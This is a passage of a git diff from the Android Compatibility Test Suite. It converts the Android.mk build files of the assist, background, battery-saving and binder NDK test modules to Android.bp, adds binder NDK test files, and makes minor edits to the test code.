-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAssistService
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/assist/testapp/Android.bp b/tests/tests/assist/testapp/Android.bp
new file mode 100644
index 0000000..ac2a2c9
--- /dev/null
+++ b/tests/tests/assist/testapp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAssistApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["CtsAssistCommon"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/assist/testapp/Android.mk b/tests/tests/assist/testapp/Android.mk
deleted file mode 100644
index f179ec3..0000000
--- a/tests/tests/assist/testapp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAssistApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/background/Android.bp b/tests/tests/background/Android.bp
new file mode 100644
index 0000000..485914b
--- /dev/null
+++ b/tests/tests/background/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBackgroundRestrictionsTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: ["android.test.runner.stubs"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
deleted file mode 100755
index b2512ce..0000000
--- a/tests/tests/background/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsBackgroundRestrictionsTestCases
-
-LOCAL_COMPATIBILITY_SUITE := cts vts cts_instant
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index a951fc0..139cd68 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -58,7 +58,7 @@
      * receiver.
      */
     @Test
-    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
+    @CddTest(requirement="3.5/C-0-6")
     public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception {
 
         // Need a reference here to initialize it in a lambda.
@@ -86,7 +86,7 @@
      */
     @AppModeFull(reason = "Instant apps don't get to run in the background.")
     @Test
-    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
+    @CddTest(requirement="3.5/C-0-6")
     public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
         // Need a reference here to initialize it in a lambda.
         final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
new file mode 100644
index 0000000..a40bb60
--- /dev/null
+++ b/tests/tests/batterysaving/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBatterySavingTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "BatterySavingCtsCommon",
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/batterysaving/Android.mk b/tests/tests/batterysaving/Android.mk
deleted file mode 100755
index 3dd2fbf..0000000
--- a/tests/tests/batterysaving/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    BatterySavingCtsCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingTestCases
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/batterysaving/apps/Android.mk b/tests/tests/batterysaving/apps/Android.mk
deleted file mode 100644
index 9aaa6ac..0000000
--- a/tests/tests/batterysaving/apps/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
new file mode 100644
index 0000000..de78337
--- /dev/null
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsBatterySavingAppTargetApi25",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsBatterSavingAppTargetLib"],
+    sdk_version: "test_current",
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
deleted file mode 100644
index 59246a3..0000000
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingAppTargetApi25
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../app_target_api_current/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    BatterySavingCtsCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
new file mode 100644
index 0000000..8d385c6
--- /dev/null
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsBatterySavingAppTargetApiCurrent",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsBatterSavingAppTargetLib"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+java_library {
+    name: "CtsBatterSavingAppTargetLib",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "BatterySavingCtsCommon",
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk b/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
deleted file mode 100644
index 717ce3b..0000000
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingAppTargetApiCurrent
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    BatterySavingCtsCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/batterysaving/common/Android.bp b/tests/tests/batterysaving/common/Android.bp
new file mode 100644
index 0000000..6f99fda
--- /dev/null
+++ b/tests/tests/batterysaving/common/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "BatterySavingCtsCommon",
+    srcs: [
+        "src/**/*.java",
+        "proto/**/*.proto",
+    ],
+    libs: [
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target",
+        "compatibility-device-util-axt",
+        "android.test.runner.stubs",
+    ],
+    sdk_version: "test_current",
+    proto: {
+        type: "lite",
+    },
+}
diff --git a/tests/tests/batterysaving/common/Android.mk b/tests/tests/batterysaving/common/Android.mk
deleted file mode 100644
index 1328461..0000000
--- a/tests/tests/batterysaving/common/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-proto-files-under, proto)
-
-LOCAL_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target \
-    compatibility-device-util-axt \
-    android.test.runner.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := BatterySavingCtsCommon
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index cbfaca9..e7f0c62 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -15,7 +15,6 @@
  */
 package android.os.cts.batterysaving;
 
-import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset;
 import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
 import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat;
@@ -70,7 +69,6 @@
 
         @Override
         protected void onAfter(Statement base, Description description) throws Throwable {
-            enableBatterySaver(false);
             runDumpsysBatteryReset();
             turnOnScreen(true);
         }
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
new file mode 100644
index 0000000..fe5bf2a
--- /dev/null
+++ b/tests/tests/binder_ndk/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNdkBinderTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "libbinder_ndk_test_interface-java",
+        "nativetesthelper",
+    ],
+    jni_libs: [
+        "libbinder_ndk_test",
+        "libbinder_ndk_test_utilities",
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_interface_old",
+        "libbinder_ndk_test_interface_new",
+    ],
+    stl: "c++_shared",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/binder_ndk/AndroidManifest.xml b/tests/tests/binder_ndk/AndroidManifest.xml
new file mode 100644
index 0000000..43d9afb
--- /dev/null
+++ b/tests/tests/binder_ndk/AndroidManifest.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.binder.cts"
+    android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+
+        <service
+            android:name="android.binder.cts.JavaService$Local"
+            android:exported="true" />
+        <service
+            android:name="android.binder.cts.NativeService$Local"
+            android:exported="true" />
+
+        <service
+            android:name="android.binder.cts.JavaService$Remote"
+            android:process=":java"
+            android:exported="true" />
+        <service
+            android:name="android.binder.cts.NativeService$Remote"
+            android:process=":native"
+            android:exported="true" />
+
+        <service
+            android:name="android.binder.cts.NativeService$RemoteOld"
+            android:process=":native_old"
+            android:exported="true" />
+    </application>
+
+    <!-- This is a self-instrumenting test package. -->
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.binder.cts"
+                     android:label="CTS tests of native binder API">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/binder_ndk/AndroidTest.xml b/tests/tests/binder_ndk/AndroidTest.xml
new file mode 100644
index 0000000..bcdb45e
--- /dev/null
+++ b/tests/tests/binder_ndk/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS NDK Binder test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="devtools" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNdkBinderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.binder.cts" />
+        <option name="runtime-hint" value="0m30s" />
+    </test>
+</configuration>
diff --git a/tests/tests/binder_ndk/OWNERS b/tests/tests/binder_ndk/OWNERS
new file mode 100644
index 0000000..531df84
--- /dev/null
+++ b/tests/tests/binder_ndk/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+smoreland@google.com
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/.clang-format b/tests/tests/binder_ndk/libbinder_ndk_test/.clang-format
new file mode 100644
index 0000000..42714cd
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/.clang-format
@@ -0,0 +1,7 @@
+BasedOnStyle: Google
+ColumnLimit: 100
+IndentWidth: 2
+PointerAlignment: Left
+AllowShortFunctionsOnASingleLine: Inline
+PointerAlignment: Left
+UseTab: Never
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
new file mode 100644
index 0000000..a7a3981
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -0,0 +1,97 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+aidl_interface {
+    name: "libbinder_ndk_test_interface",
+    srcs: [
+        "test_package/IEmpty.aidl",
+        "test_package/ITest.aidl",
+        "test_package/RegularPolygon.aidl",
+        "test_package/Bar.aidl",
+        "test_package/Foo.aidl",
+    ],
+    versions: ["1"],
+    backend: {
+        java: {
+            sdk_version: "28",
+        },
+    },
+}
+
+cc_defaults {
+    name: "libbinder_ndk_test_defaults",
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "liblog",
+        "libbinder_ndk",
+    ],
+    whole_static_libs: ["libnativetesthelper_jni"],
+    sdk_version: "current",
+    stl: "c++_shared",
+    gtest: false,
+}
+
+cc_test_library {
+    name: "libbinder_ndk_test_utilities",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: ["utilities.cpp"],
+}
+
+cc_test_library {
+    name: "libbinder_ndk_test_interface_new",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "android_binder_cts_NativeService.cpp",
+    ],
+    // Using the up-to-date version of the interface
+    shared_libs: [
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_utilities",
+    ],
+}
+
+cc_test_library {
+    name: "libbinder_ndk_test_interface_old",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "android_binder_cts_NativeService.cpp",
+    ],
+    cflags: ["-DUSING_VERSION_1"],
+    // Using the frozen version 1 of the interface
+    static_libs: [
+        "libbinder_ndk_test_interface-V1-ndk",
+    ],
+    shared_libs: [
+        "libbinder_ndk_test_utilities",
+    ],
+}
+
+cc_test_library {
+    name: "libbinder_ndk_test",
+    defaults: ["libbinder_ndk_test_defaults"],
+    srcs: [
+        "test_ibinder.cpp",
+        "test_ibinder_jni.cpp",
+        "test_native_aidl_client.cpp",
+        "test_parcel.cpp",
+        "test_status.cpp",
+    ],
+    shared_libs: [
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_utilities",
+    ],
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_NativeService.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_NativeService.cpp
new file mode 100644
index 0000000..1656b46
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/android_binder_cts_NativeService.cpp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder_jni.h>
+
+#include "itest_impl.h"
+
+using ::aidl::test_package::ITest;
+using ::ndk::SharedRefBase;
+using ::ndk::SpAIBinder;
+
+extern "C" JNIEXPORT jobject JNICALL
+Java_android_binder_cts_NativeService_getBinder_1native(JNIEnv* env) {
+  // The ref owns the MyTest, and the binder owns the ref.
+  SpAIBinder binder = SharedRefBase::make<MyTest>()->asBinder();
+
+  // adding an arbitrary class as the extension
+  std::shared_ptr<MyTest> ext = SharedRefBase::make<MyTest>();
+  SpAIBinder extBinder = ext->asBinder();
+
+  binder_status_t ret = AIBinder_setExtension(binder.get(), extBinder.get());
+  if (ret != STATUS_OK) {
+    std::cout << "Could not set local extension" << std::endl;
+  }
+
+  // And the Java object owns the binder
+  return AIBinder_toJavaBinder(env, binder.get());
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
new file mode 100644
index 0000000..6a5d253
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Bar.aidl
@@ -0,0 +1,7 @@
+package test_package;
+parcelable Bar {
+  String a = "BAR";
+  String b = "BAR2";
+  float c = 4.200000f;
+  int d = 100;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/Foo.aidl
new file mode 100644
index 0000000..cb1dd28
--- /dev/null
